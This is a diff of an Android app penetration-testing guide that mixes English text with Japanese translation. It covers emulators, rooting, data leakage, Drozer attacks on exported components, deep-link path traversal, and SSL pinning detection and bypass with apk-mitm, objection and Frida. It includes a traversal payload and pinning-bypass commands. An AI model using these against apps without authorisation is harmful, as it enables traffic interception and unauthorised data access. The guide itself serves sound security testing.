- Learn to set it up in this page:
|
||||
- [**Android Studio**](https://developer.android.com/studio)(**x86** と **arm** デバイスを作成できます。また、[**this**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) によれば**最新の x86** バージョンは遅い arm エミュレータを使わずとも **ARM libraries** をサポートします)。
|
||||
- セットアップ方法は次のページを参照してください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._)
|
||||
- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer).
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition、アカウント作成が必要です。_潜在的なエラーを避けるために_ _**VirtualBox**_ _付きのバージョンを**download**することを推奨します。_)_
|
||||
- [**Nox**](https://es.bignox.com)(無料ですが、Frida や Drozer をサポートしていません)。
|
||||
|
||||
> [!TIP]
|
||||
> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible.
|
||||
> どのプラットフォームで新しいエミュレータを作成する際も、画面が大きいほどエミュレータは遅くなります。可能であれば小さい画面を選んでください。
|
||||
|
||||
To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image:
|
||||
Genymotion に Google サービス(Play Store など)をインストールするには、以下画像の赤で示されたボタンをクリックしてください:
|
||||
|
||||
.png>)
|
||||
|
||||
Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools).
|
||||
また、**Genymotion の Android VM の configuration** では **Bridge Network mode** を選択できます(ツールを実行している別の VM から Android VM に接続する場合に有用です)。
|
||||
|
||||
#### Use a physical device
|
||||
|
||||
You need to activate the **debugging** options and it will be cool if you can **root** it:
|
||||
デバッグオプションを有効にし、可能であれば root を取得しておくと便利です:
|
||||
|
||||
1. **Settings**.
|
||||
2. (FromAndroid 8.0) Select **System**.
|
||||
3. Select **About phone**.
|
||||
4. Press **Build number** 7 times.
|
||||
5. Go back and you will find the **Developer options**.
|
||||
1. 設定(Settings)。
|
||||
2. (Android 8.0 以降)**System** を選択。
|
||||
3. **About phone** を選択。
|
||||
4. **Build number** を7回押す。
|
||||
5. 戻ると **Developer options** が表示されます。
|
||||
|
||||
> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\
|
||||
> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on.
|
||||
> 一度アプリをインストールしたら、まずはそのアプリを実行して何をするのか、どのように動作するのかを調査して慣れてください。\
|
||||
> 初期の動的解析は MobSF dynamic analysis + pidcat を用いて行うことを推奨します。これにより、MobSF が多くの興味深いデータをキャプチャする一方で、アプリの動作を学ぶことができます。
|
||||
|
||||
Magisk/Zygisk quick notes (recommended on Pixel devices)
|
||||
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
|
||||
- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required
|
||||
- Keep original boot.img to recover from OTA updates; re-patch after each OTA
|
||||
- For screen mirroring, use scrcpy on the host
|
||||
|
||||
|
||||
- Magisk アプリで boot.img をパッチし、fastboot 経由でフラッシュして systemless root を取得
|
||||
- Zygisk を有効にし、DenyList を使って root を隠す;より強力な隠蔽が必要な場合は LSPosed/Shamiko の使用を検討
|
||||
- OTA アップデートから回復するために元の boot.img を保管し、OTA 後に再パッチを行う
|
||||
- 画面ミラーリングにはホストで scrcpy を使用
|
||||
|
||||
### Unintended Data Leakage
|
||||
|
||||
**Logging**
|
||||
|
||||
Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability.
|
||||
開発者は**debugging information**を公開しないよう注意するべきです。公開されると機密データの leaks に繋がる可能性があります。アプリケーションログを監視して機密情報を特定・保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat) と `adb logcat` の使用を推奨します。**Pidcat** は使いやすさと可読性のために好まれます。
|
||||
|
||||
> [!WARNING]
|
||||
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
|
||||
@ -304,94 +308,94 @@ Developers should be cautious of exposing **debugging information** publicly, as
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks.
|
||||
Android の **clipboard-based** フレームワークはアプリ間のコピー&ペーストを可能にしますが、他のアプリがクリップボードにアクセスできるため機密データが露出するリスクがあります。クレジットカード情報など機密性の高い部分についてはコピー/ペースト機能を無効にすることが重要です。
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security.
|
||||
アプリがクラッシュしてログを保存する場合、これらのログはリバースエンジニアリングが難しい場合でも攻撃者に有用な情報を与える可能性があります。このリスクを軽減するため、クラッシュ時にログを出力しないか、ネットワーク経由で送信する場合は SSL チャネルを使用するなどの対策を講じてください。
|
||||
|
||||
As pentester, **try to take a look to these logs**.
|
||||
|
||||
**Analytics Data Sent To 3rd Parties**
|
||||
|
||||
Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services.
|
||||
多くのアプリは Google Adsense のようなサービスを統合しており、開発者の不適切な実装により機密データを leak してしまう可能性があります。サードパーティに送信されるデータに機密情報が含まれていないかを確認するため、アプリのトラフィックをインターセプトしてチェックすることを推奨します。
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\
|
||||
Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases`
|
||||
ほとんどのアプリは情報を保存するために内部の SQLite データベースを使用します。ペンテスト中は作成された**databases**、**tables**や**columns**の名前、保存されているすべての**data**を確認してください。そこに機密情報が見つかる可能性があり、それは脆弱性になり得ます。\
|
||||
データベースは通常 `/data/data/the.package.name/databases` にあり、例: `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
|
||||
もしデータベースが機密情報を保存し**encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**.
|
||||
|
||||
Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema <table_name>`
|
||||
`.tables` を使ってテーブルを列挙し、`.schema <table_name>` を使ってテーブルのカラムを列挙します。
|
||||
|
||||
### Drozer (Exploit Activities, Content Providers and Services)
|
||||
|
||||
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
|
||||
Drozer is a useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
|
||||
Drozer はエクスポートされた Activities、exported services、Content Providers を**exploit**するのに有用なツールです。以下のセクションで学びます。
|
||||
|
||||
### Exploiting exported Activities
|
||||
|
||||
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Also remember that the code of an activity starts in the **`onCreate`** method.
|
||||
また、アクティビティのコードは **`onCreate`** メソッドから始まることを忘れないでください。
|
||||
|
||||
**Authorisation bypass**
|
||||
|
||||
When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.**
|
||||
Activity が exported されている場合、外部アプリからその画面を呼び出すことができます。したがって、**sensitive information** を扱う Activity が **exported** されている場合、**authentication** メカニズムを **bypass** してアクセスできてしまう可能性があります。
|
||||
|
||||
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
You can also start an exported activity from adb:
|
||||
ADB からも exported activity を起動できます:
|
||||
|
||||
- PackageName is com.example.demo
|
||||
- Exported ActivityName is com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTE**: MobSF はアクティビティの `android:launchMode` に _**singleTask/singleInstance**_ を使用していると悪意のあるものとして検出しますが、[this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) によると、どうやらこれは古いバージョン(API versions < 21)でのみ危険なようです。
|
||||
**NOTE**: MobSF は activity の `android:launchMode` に _**singleTask/singleInstance**_ を使用していることを悪意のあるものとして検出しますが、[this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) によれば、どうやらこれは古いバージョン(API versions < 21)でのみ危険なようです。
|
||||
|
||||
> [!TIP]
|
||||
> authorisation bypass が必ずしも脆弱性とは限らないことに注意してください。どのように bypass が動作するか、どの情報が露出するかによります。
|
||||
> authorisation bypass が常に脆弱性であるとは限らないことに注意してください。bypass の動作方法やどの情報が露出するかによって異なります。
|
||||
|
||||
**機密情報の漏洩**
|
||||
|
||||
アクティビティは結果を返すこともあります。エクスポートされ保護されていないアクティビティが `setResult` メソッドを呼び出し、機密情報を返しているのを見つけた場合、機密情報の漏洩が発生しています。
|
||||
**Activities can also return results**. エクスポートされ保護されていない activity が **`setResult`** メソッドを呼び出して**機密情報を返す**場合、機密情報の漏洩が発生します。
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Tapjacking が防止されていない場合、エクスポートされたアクティビティを悪用してユーザーに予期しない操作をさせることができます。For more info about [**what is Tapjacking follow the link**](#tapjacking).
|
||||
Tapjacking が防止されていない場合、exported activity を悪用して**ユーザに予期しない操作をさせる**ことができます。詳細は [**Tapjacking とは(詳細)**](#tapjacking) を参照してください。
|
||||
|
||||
### Exploiting Content Providers - Accessing and manipulating sensitive information
|
||||
### Exploiting Content Providers - 機密情報へのアクセスと操作
|
||||
|
||||
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
|
||||
Content providers は基本的に **share data** に使用されます。アプリに利用可能な content providers がある場合、それらから **extract sensitive** データを取り出せる可能性があります。また、脆弱である可能性があるため、**SQL injections** や **Path Traversals** のテストを行うことも重要です。
|
||||
[**Content Provider の復習をしたい場合はこちらを読む。**](android-applications-basics.md#content-provider)\
|
||||
Content providers は基本的に**データを共有する**ために使用されます。アプリが利用可能な content providers を持っている場合、そこから**機密データを抽出**できる可能性があります。脆弱である可能性があるため、**SQL injections** や **Path Traversals** のテストを行うことも重要です。
|
||||
|
||||
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
[**Drozer を使って Content Providers を exploit する方法を学ぶ。**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **Exploiting Services**
|
||||
|
||||
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
|
||||
Service の処理は `onStartCommand` メソッドで始まることを忘れないでください。
|
||||
[**Service の復習をしたい場合はこちらを読む。**](android-applications-basics.md#services)\
|
||||
Service の処理は `onStartCommand` メソッドで開始されることを覚えておいてください。
|
||||
|
||||
Service は基本的にデータを受け取り、それを処理し、応答を(返すこともあれば返さないこともある)ものです。したがって、アプリがいくつかのサービスをエクスポートしている場合は、何をしているのかを理解するためにコードを確認し、機密情報の抽出や認証回避などを動的にテストするべきです。\
|
||||
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
|
||||
Service は基本的にデータを受け取り、処理し、(場合によっては)応答を返すものです。したがってアプリがいくつかの services を export している場合は、何をしているかを理解するためにコードを確認し、機密情報の抽出や認証対策の bypass などを目的に動的にテストするべきです。\
|
||||
[**Drozer で Services を exploit する方法を学ぶ。**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Exploiting Broadcast Receivers**
|
||||
|
||||
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Broadcast Receiver の処理は `onReceive` メソッドで始まることを忘れないでください。
|
||||
[**Broadcast Receiver の復習をしたい場合はこちらを読む。**](android-applications-basics.md#broadcast-receivers)\
|
||||
Broadcast Receiver の処理は `onReceive` メソッドで開始されることを覚えておいてください。
|
||||
|
||||
ブロードキャストレシーバは特定のタイプのメッセージを待ち受けます。受信したメッセージの処理方法によっては脆弱になる可能性があります。\
|
||||
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
|
||||
Broadcast receiver は特定の種類のメッセージを待ち受けます。受信側がメッセージをどのように処理するかによって脆弱になる可能性があります。\
|
||||
[**Drozer で Broadcast Receivers を exploit する方法を学ぶ。**](#exploiting-broadcast-receivers)
|
||||
|
||||
### **Exploiting Schemes / Deep links**
|
||||
|
||||
deep links を手動で探すには、MobSF のようなツールや [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) のようなスクリプトを使用できます。\
|
||||
宣言された **scheme** は **adb** や **browser** を使って **open** できます:
|
||||
手作業で deep links を探すこともできます。MobSF のようなツールや、[this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) のようなスクリプトを使って探すことができます。\
|
||||
宣言された **scheme** は **adb** や **browser** を使って開くことができます:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_パッケージ名を**省略できます**と、モバイル端末はそのリンクを開くべきアプリを自動的に起動します._
|
||||
_モバイルでは**パッケージ名を省略**すると、そのリンクを開くアプリが自動的に呼び出されます。_
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
@ -400,53 +404,53 @@ _パッケージ名を**省略できます**と、モバイル端末はそのリ
|
||||
```
|
||||
**実行されるコード**
|
||||
|
||||
アプリで**実行されるコード**を見つけるには、deeplink によって呼び出される activity に移動し、関数 **`onNewIntent`** を検索してください。
|
||||
アプリで実行される**コードを見つけるには**、deeplink によって呼び出される activity に移動し、関数 **`onNewIntent`** を探してください。
|
||||
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
**機密情報**
|
||||
**Sensitive info**
|
||||
|
||||
deep link を見つけるたびに、**URL パラメータ経由で機密データ(パスワードなど)を受け取っていないか**を確認してください。なぜなら、他のアプリケーションが**deep link をなりすましてそのデータを盗む**可能性があるからです!
|
||||
deep link を見つけたら毎回、**URL パラメータ経由で機密データ(パスワードなど)を受け取っていないか**を確認してください。そうでないと、他のアプリが**deep link をなりすましてそのデータを盗む**可能性があります。
|
||||
|
||||
**Parameters in path**
|
||||
|
||||
URL のパス内でパラメータを使用している deep link がないか、**必ず確認してください**。例えば: `https://api.example.com/v1/users/{username}` のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにアクセスすることで path traversal を強制できることがあります。\
|
||||
Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
|
||||
URL のパス内にパラメータを使っている deep link がないかも**必ず確認してください**。例えば `https://api.example.com/v1/users/{username}` のような場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパストラバーサルを強制できることがあります。\
|
||||
アプリ内部で正しいエンドポイントを発見できれば、パスの一部がドメイン名として使われている場合の **Open Redirect**、CSRF トークンなしでユーザ詳細を変更できる場合の **account takeover**(脆弱なエンドポイントが正しいメソッドを使っている場合)など、他の様々な脆弱性を誘発できる可能性があります。詳細は [http://dphoeniixx.com/2020/12/13-2/](http://dphoeniixx.com/2020/12/13-2/) を参照してください。
|
||||
|
||||
**More examples**
|
||||
|
||||
[interesting bug bounty report](https://hackerone.com/reports/855618) はリンク(_/.well-known/assetlinks.json_)に関する報告です。
|
||||
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Transport Layer Inspection and Verification Failures
|
||||
|
||||
- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections.
|
||||
- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data.
|
||||
- **Leakage of private information** is a risk when applications authenticate using secure channels but then communicate over non-secure channels for other transactions. This approach fails to protect sensitive data, such as session cookies or user details, from interception by malicious entities.
|
||||
- **Certificates are not always inspected properly** by Android applications. 多くの場合、アプリは警告を無視して自己署名証明書を受け入れたり、場合によっては HTTP 接続にフォールバックしたりします。
|
||||
- **Negotiations during the SSL/TLS handshake are sometimes weak**, insecure な cipher suite を使用していることがあります。この脆弱性により接続が man-in-the-middle (MITM) 攻撃に対して脆弱になり、攻撃者がデータを復号できる可能性があります。
|
||||
- **Leakage of private information** は、アプリが認証に安全なチャネルを使っている一方で、他のやり取りで非暗号化チャネルを使う場合に発生するリスクです。この設計は、セッション Cookie やユーザ情報などの機密データを悪意ある者による傍受から守れません。
|
||||
|
||||
#### Certificate Verification
|
||||
|
||||
ここでは **certificate verification** に焦点を当てます。サーバーの証明書の整合性を検証することはセキュリティ強化のために重要です。不適切な TLS 設定や暗号化されていないチャネルでの機密データ送信は重大なリスクをもたらす可能性があります。サーバー証明書の検証方法や脆弱性への対処手順の詳細については、[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) を参照してください。
|
||||
ここでは **certificate verification** に焦点を当てます。サーバの証明書の整合性を検証することはセキュリティ強化のために必須です。TLS の不適切な設定や機密データを暗号化されていないチャネルで送信することは重大なリスクを招きます。サーバ証明書の検証方法や脆弱性対応の詳細手順については、[**this resource**](https://manifestsecurity.com/android-application-security-part-10/) を参照してください。
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
SSL Pinning は、アプリケーションがサーバーの証明書をアプリ内に保存された既知のコピーと照合して検証するセキュリティ対策です。この手法は MITM 攻撃を防ぐために不可欠です。機密情報を扱うアプリケーションでは SSL Pinning の実装を強く推奨します。
|
||||
SSL Pinning は、アプリがサーバ証明書をアプリ内に保存された既知のコピーと照合するセキュリティ手法です。この方法は MITM 攻撃を防ぐうえで重要です。機密情報を扱うアプリでは SSL Pinning の実装を強く推奨します。
|
||||
|
||||
#### Traffic Inspection
|
||||
|
||||
HTTP トラフィックを検査するには、プロキシツールの証明書(例: Burp)を**インストールする必要があります**。この証明書をインストールしていないと、暗号化されたトラフィックはプロキシで見えない場合があります。カスタム CA 証明書のインストール手順については、[**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) を参照してください。
|
||||
HTTP トラフィックを検査するには、プロキシツール(例: Burp)の証明書を**インストールする必要があります**。この証明書をインストールしないと、暗号化されたトラフィックはプロキシ上で見えない場合があります。カスタム CA 証明書のインストールガイドは [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine) を参照してください。
|
||||
|
||||
API Level 24 and above をターゲットにしたアプリケーションは、プロキシの CA 証明書を受け入れるように Network Security Config を修正する必要があります。この手順は暗号化トラフィックを検査する上で重要です。Network Security Config の変更方法については、[**refer to this tutorial**](make-apk-accept-ca-certificate.md) を参照してください。
|
||||
**API Level 24 and above** をターゲットにしたアプリケーションは、プロキシの CA 証明書を受け入れるよう Network Security Config の変更が必要です。暗号化トラフィックを検査するにはこの手順が重要です。Network Security Config の変更方法は [**refer to this tutorial**](make-apk-accept-ca-certificate.md) を参照してください。
|
||||
|
||||
If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
|
||||
もし **Flutter** を使用している場合は、[**this page**](flutter.md) の指示に従う必要があります。単に証明書をストアに追加するだけでは動作しないことがあり、Flutter は独自の有効な CA のリストを持っているためです。
|
||||
|
||||
#### Static detection of SSL/TLS pinning
|
||||
|
||||
ランタイムでのバイパスを試みる前に、APK 内で pinning が適用されている箇所を素早くマップしてください。静的検出はフックやパッチの計画を助け、適切なコードパスに集中するのに役立ちます。
|
||||
runtime のバイパスを試す前に、APK 内でどこに pinning が強制されているかを静的に把握してください。静的検出はフックやパッチの計画を立て、正しいコードパスに集中するのに役立ちます。
|
||||
|
||||
Tool: SSLPinDetect
|
||||
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
|
||||
- Reports exact file path, line number, and a code snippet for each match.
|
||||
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
|
||||
- オープンソースの静的解析ユーティリティで、APK を Smali(apktool 経由)にデコンパイルし、SSL/TLS pinning 実装のためにキュレーションされた正規表現パターンをスキャンします。
|
||||
- 各マッチについて正確なファイルパス、行番号、コードスニペットを報告します。
|
||||
- OkHttp CertificatePinner、カスタム javax.net.ssl.X509TrustManager.checkServerTrusted、SSLContext.init とカスタム TrustManagers/KeyManagers、Network Security Config XML のピンなど、一般的なフレームワークとカスタムコードパスをカバーします。
|
||||
|
||||
Install
|
||||
- Prereqs: Python >= 3.8, Java on PATH, apktool
|
||||
@ -464,7 +468,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
|
||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
```
|
||||
パターンルールの例 (JSON)
|
||||
プロプライエタリ/カスタムの pinning スタイルを検出するために、signatures を使用または拡張します。独自の JSON を読み込んで大規模にスキャンできます。
|
||||
独自/カスタムの pinning スタイルを検出するために signatures を使用または拡張します。独自の JSON を読み込んで大規模に scan できます。
|
||||
```json
|
||||
{
|
||||
"OkHttp Certificate Pinning": [
|
||||
@ -479,42 +483,42 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
}
|
||||
```
|
||||
Notes and tips
|
||||
- 大規模なアプリを高速にスキャンするには、マルチスレッディングとメモリマップドI/Oを利用する。プリコンパイルされたregexはオーバーヘッドや偽陽性を減らす。
|
||||
- 大規模なアプリを高速にスキャンするには、マルチスレッド処理とメモリマップド I/O を利用する。事前コンパイル済みの正規表現はオーバーヘッドと誤検出を減らす。
|
||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
|
||||
- 次にトリアージすべき典型的な検出対象:
|
||||
- OkHttp: CertificatePinner の使用、setCertificatePinner、okhttp3/okhttp パッケージ参照
|
||||
- Custom TrustManagers: javax.net.ssl.X509TrustManager、checkServerTrusted のオーバーライド
|
||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init とカスタムマネージャー
|
||||
- Declarative pins は res/xml の network security config や manifest の参照にある
|
||||
- 一致した箇所を活用して、動的テスト前に Frida hooks、static patches、または設定レビューを計画する。
|
||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init をカスタムマネージャーで使用
|
||||
- Declarative pins in res/xml network security config と manifest の参照
|
||||
- 一致した箇所を利用して、動的テストの前に Frida フック、静的パッチ、または設定レビューを計画する。
|
||||
|
||||
|
||||
|
||||
#### Bypassing SSL Pinning
|
||||
#### SSL Pinning の回避
|
||||
|
||||
SSL Pinning が実装されている場合、HTTPS トラフィックを解析するためにそれをバイパスする必要がある。これを行うための様々な手法が存在する:
|
||||
SSL Pinning が実装されている場合、HTTPS トラフィックを調査するためにこれを回避する必要がある。目的のためのさまざまな方法がある:
|
||||
|
||||
- 自動で [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) を使って **apk** を**変更**し、SSLPinning を**バイパス**する。 この方法の最大の利点は、SSL Pinning をバイパスするために root が不要なことだが、アプリを削除して新しいものを再インストールする必要があり、常に動作するとは限らない。
|
||||
- この保護を回避するために **Frida**(下記参照)を使うこともできる。Burp+Frida+Genymotion の使用ガイド: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- [**objection**](frida-tutorial/objection-tutorial.md) を使って **自動的に SSL Pinning をバイパス**することも試せる:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF dynamic analysis** を使って **自動的に SSL Pinning をバイパス**することも試せる(下記参照)
|
||||
- それでもキャプチャできていないトラフィックがあると思われる場合、iptables を使ってトラフィックを burp に転送してみることができる。この記事を読む: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). このオプションの最大の利点は、SSL Pinning を回避するのに root が不要な点だが、アプリを削除して再インストールする必要があり、常に動作するとは限らない。
|
||||
- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below)
|
||||
- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Looking for Common Web Vulnerabilities
|
||||
#### 一般的な Web 脆弱性の検索
|
||||
|
||||
アプリ内で一般的な Web 脆弱性を検索することも重要である。これらの脆弱性の特定や緩和に関する詳細はこの要約の範囲を超えるが、他所で広く扱われている。
|
||||
アプリ内で一般的な Web 脆弱性を探すことも重要である。これらの脆弱性の特定と緩和に関する詳細はこの要約の範囲を超えるが、他の場所で広く扱われている。
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) は、開発者、リバースエンジニア、セキュリティ研究者のための動的インストルメンテーションツールキットである。\
|
||||
**実行中のアプリにアクセスしてランタイムでメソッドをフックし、挙動を変更したり、値を変更・抽出したり、別のコードを実行したりできる。**\
|
||||
[Frida](https://www.frida.re) は開発者、リバースエンジニア、セキュリティ研究者向けの動的インストルメンテーションツールキットです。\
|
||||
**実行中のアプリにアクセスして、ランタイムでメソッドを hook し、挙動を変更したり、値を変更・抽出したり、別コードを実行したりできます...**\
|
||||
Android アプリを pentest するなら Frida の使い方を知っておく必要がある。
|
||||
|
||||
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
|
||||
- Frida を使った操作のための「GUI」的なもの: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Frida の利用を自動化するには Ojection が便利: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- いくつかの Awesome Frida スクリプトはこちらで見つかる: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Frida をロードして anti-debugging / anti-frida 機構を回避することを試みる: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)(ツール: [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
#### Anti-instrumentation & SSL pinning bypass workflow
|
||||
|
||||
@ -522,11 +526,11 @@ Android アプリを pentest するなら Frida の使い方を知っておく
|
||||
android-anti-instrumentation-and-ssl-pinning-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### **Dump Memory - Fridump**
|
||||
### **メモリダンプ - Fridump**
|
||||
|
||||
アプリがパスワードやニーモニックなど、本来メモリに保持すべきでない機密情報をメモリ内に保持していないかを確認する。
|
||||
アプリがパスワードやニーモニックなど、本来メモリに保存すべきでない機密情報をメモリ内に保持していないか確認する。
|
||||
|
||||
